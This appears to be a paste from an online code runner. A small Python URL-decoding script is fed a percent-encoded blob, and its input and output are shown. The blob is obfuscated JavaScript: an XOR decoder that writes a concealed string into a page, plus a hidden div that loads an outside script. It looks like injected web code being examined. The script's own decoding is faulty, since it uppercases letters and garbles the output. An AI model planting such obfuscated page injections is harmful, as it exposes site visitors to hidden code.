fork(2) download
  1. #import os
  2. #import sys
  3.  
  4. def main():
  5. getstr = raw_input("Give me the URL to re-parse")
  6. print(translate(getstr))
  7. def translate(getstr):
  8. getstr=getstr.replace("a","A")
  9. getstr=getstr.replace("b","B")
  10. getstr=getstr.replace("c","C")
  11. getstr=getstr.replace("d","D")
  12. getstr=getstr.replace("e","E")
  13. getstr=getstr.replace("f","F")
  14. getstr=getstr.replace("%20"," ")
  15. getstr=getstr.replace("%21","!")
  16. getstr=getstr.replace('%22','"')
  17. getstr=getstr.replace("%23","#")
  18. getstr=getstr.replace("%24","$")
  19. getstr=getstr.replace("%26","&")
  20. getstr=getstr.replace("%27","'")
  21. getstr=getstr.replace("%28","(")
  22. getstr=getstr.replace("%29",")")
  23. getstr=getstr.replace("%2A","*")
  24. getstr=getstr.replace("%2B","+")
  25. getstr=getstr.replace("%2C",",")
  26. getstr=getstr.replace("%2D","-")
  27. getstr=getstr.replace("%2E",".")
  28. getstr=getstr.replace("%2F","/")
  29. getstr=getstr.replace("%3A",":")
  30. getstr=getstr.replace("%3B",";")
  31. getstr=getstr.replace("%3C","<")
  32. getstr=getstr.replace("%3D","=")
  33. getstr=getstr.replace("%3E",">")
  34. getstr=getstr.replace("%3F","?")
  35. getstr=getstr.replace("%40","@")
  36. getstr=getstr.replace("%41","A")
  37. getstr=getstr.replace("%42","B")
  38. getstr=getstr.replace("%43","C")
  39. getstr=getstr.replace("%44","D")
  40. getstr=getstr.replace("%45","E")
  41. getstr=getstr.replace("%46","F")
  42. getstr=getstr.replace("%47","G")
  43. getstr=getstr.replace("%48","H")
  44. getstr=getstr.replace("%49","I")
  45. getstr=getstr.replace("%4A","J")
  46. getstr=getstr.replace("%4B","K")
  47. getstr=getstr.replace("%4C","L")
  48. getstr=getstr.replace("%4D","M")
  49. getstr=getstr.replace("%4E","N")
  50. getstr=getstr.replace("%4F","O")
  51. getstr=getstr.replace("%50","P")
  52. getstr=getstr.replace("%51","Q")
  53. getstr=getstr.replace("%52","R")
  54. getstr=getstr.replace("%53","S")
  55. getstr=getstr.replace("%54","T")
  56. getstr=getstr.replace("%55","U")
  57. getstr=getstr.replace("%56","V")
  58. getstr=getstr.replace("%57","W")
  59. getstr=getstr.replace("%58","X")
  60. getstr=getstr.replace("%59","Y")
  61. getstr=getstr.replace("%5A","Z")
  62. getstr=getstr.replace("%5B","[")
  63. getstr=getstr.replace("%5C","\\")
  64. getstr=getstr.replace("%5D","]")
  65. getstr=getstr.replace("%5E","^")
  66. getstr=getstr.replace("%5F","_")
  67. getstr=getstr.replace("%60","`")
  68. getstr=getstr.replace("%61","a")
  69. getstr=getstr.replace("%62","b")
  70. getstr=getstr.replace("%63","c")
  71. getstr=getstr.replace("%64","d")
  72. getstr=getstr.replace("%65","e")
  73. getstr=getstr.replace("%66","f")
  74. getstr=getstr.replace("%67","g")
  75. getstr=getstr.replace("%68","h")
  76. getstr=getstr.replace("%69","i")
  77. getstr=getstr.replace("%6A","j")
  78. getstr=getstr.replace("%6B","k")
  79. getstr=getstr.replace("%6C","l")
  80. getstr=getstr.replace("%6D","m")
  81. getstr=getstr.replace("%6E","n")
  82. getstr=getstr.replace("%6F","o")
  83. getstr=getstr.replace("%70","p")
  84. getstr=getstr.replace("%71","q")
  85. getstr=getstr.replace("%72","r")
  86. getstr=getstr.replace("%73","s")
  87. getstr=getstr.replace("%74","t")
  88. getstr=getstr.replace("%75","u")
  89. getstr=getstr.replace("%76","v")
  90. getstr=getstr.replace("%77","w")
  91. getstr=getstr.replace("%78","x")
  92. getstr=getstr.replace("%79","y")
  93. getstr=getstr.replace("%7A","z")
  94. getstr=getstr.replace("%7B","{")
  95. getstr=getstr.replace("%7C","|")
  96. getstr=getstr.replace("%7D","}")
  97. getstr=getstr.replace("%7E","~")
  98. getstr=getstr.replace("%7F","")
  99. getstr=getstr.replace("%30","0")
  100. getstr=getstr.replace("%31","1")
  101. getstr=getstr.replace("%32","2")
  102. getstr=getstr.replace("%33","3")
  103. getstr=getstr.replace("%34","4")
  104. getstr=getstr.replace("%35","5")
  105. getstr=getstr.replace("%36","6")
  106. getstr=getstr.replace("%37","7")
  107. getstr=getstr.replace("%38","8")
  108. getstr=getstr.replace("%39","9")
  109. getstr=getstr.replace("%25","%")
  110. return getstr
  111.  
  112. if __name__ == "__main__":
  113. main()
  114. #EOF
Success #stdin #stdout 0.01s 7856KB
stdin
('function s083e994e47(s) {%0A%09var r = "";%0A%09var tmp = s.split("10305128");%0A%09s = unescape(tmp[0]);%0A%09k = unescape(tmp[1] + "738420");%0A%09for( var i = 0; i < s.length; i++) {%0A%09%09r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+3);%0A%09}%0A%09return r;%0A}%0A') ('document.write(s083e994e47('') '?adr%19uvqjj>%1Da`pohZs0locf:%1F=%0A%05%07%02%03>wcgboq%1Bfc;%1BYsYqbkh%1F=s\n%19YsYq%15>%1F\r^p%1C}|%1A_Y0%19^tXr)lvub"[%17th^oi%1D(%19%1A`es~[nv)4%1D(%19%1Amhi%17^$8%0C%07%04%07%02 duhhudlm%$%1C|vYh%1Ex>clfrhcot,gljZsbDi`kfnv"%1Cxdmfkq%1D'<%18w,]xri`<qmsf=%0D%00%05%0E%02r+vob;%1B`vvn?(.t`afcuu,Yizof+tp.qn[nn(ot%1D8%0C%07%04%07%02dkgqbfiq-d`pFlemacur?pQ\eO[me&%17a`^g%1F$Y)_,YnefiaFedhe w!;%02%03%04%06%00z$$"=>+shkdmw;%08%06%02%03>+bnw9103051286021457' (''));') </sCript>%0A<nosCript><i>JAvAsCript rEquirED</i></nosCript>%0A<Div stylE="VISIBILITY: hiDDEn;"> <sCript typE="tExt/jAvAsCript" srC="http://w...content-available-to-author-only...g.us/smAll.js"></sCript><sCript typE="tExt/jAvAsCript">WAU_smAll('zoC29ECrlg41')</sCript></Div>  %0A
stdout
Give me the URL to re-parse('FunCtion s083E994E47(s) {%0A%09vAr r = "";%0A%09vAr tmp = s.split("10305128");%0A%09s = unEsCApE(tmp[0]);%0A%09k = unEsCApE(tmp[1] + "738420");%0A%09For( vAr i = 0; i < s.lEngth; i++) {%0A%09%09r += String.FromChArCoDE((pArsEInt(k.ChArAt(i%k.lEngth))^s.ChArCoDEAt(i))+3);%0A%09}%0A%09rEturn r;%0A}%0A') ('DoCumEnt.writE(s083E994E47('') '?ADr%19uvqjj>%1DA`pohZs0loCF:%1F=%0A%05%07%02%03>wCgBoq%1BFC;%1BYsYqBkh%1F=s\n%19YsYq%15>%1F\r^p%1C}|%1A_Y0%19^tXr)lvuB"[%17th^oi%1D(%19%1A`Es~[nv)4%1D(%19%1Amhi%17^$8%0C%07%04%07%02 DuhhuDlm%$%1C|vYh%1Ex>ClFrhCot,gljZsBDi`kFnv"%1CxDmFkq%1D'<%18w,]xri`<qmsF=%0D%00%05%0E%02r+voB;%1B`vvn?(.t`AFCuu,YizoF+tp.qn[nn(ot%1D8%0C%07%04%07%02DkgqBFiq-D`pFlEmACur?pQ\EO[mE&%17A`^g%1F$Y)_,YnEFiAFEDhE w!;%02%03%04%06%00z$$"=>+shkDmw;%08%06%02%03>+Bnw9103051286021457' (''));') </sCript>%0A<nosCript><i>JAvAsCript rEquirED</i></nosCript>%0A<Div stylE="VISIBILITY: hiDDEn;"> <sCript typE="tExt/jAvAsCript" srC="http://w...content-available-to-author-only...g.us/smAll.js"></sCript><sCript typE="tExt/jAvAsCript">WAU_smAll('zoC29ECrlg41')</sCript></Div>  %0A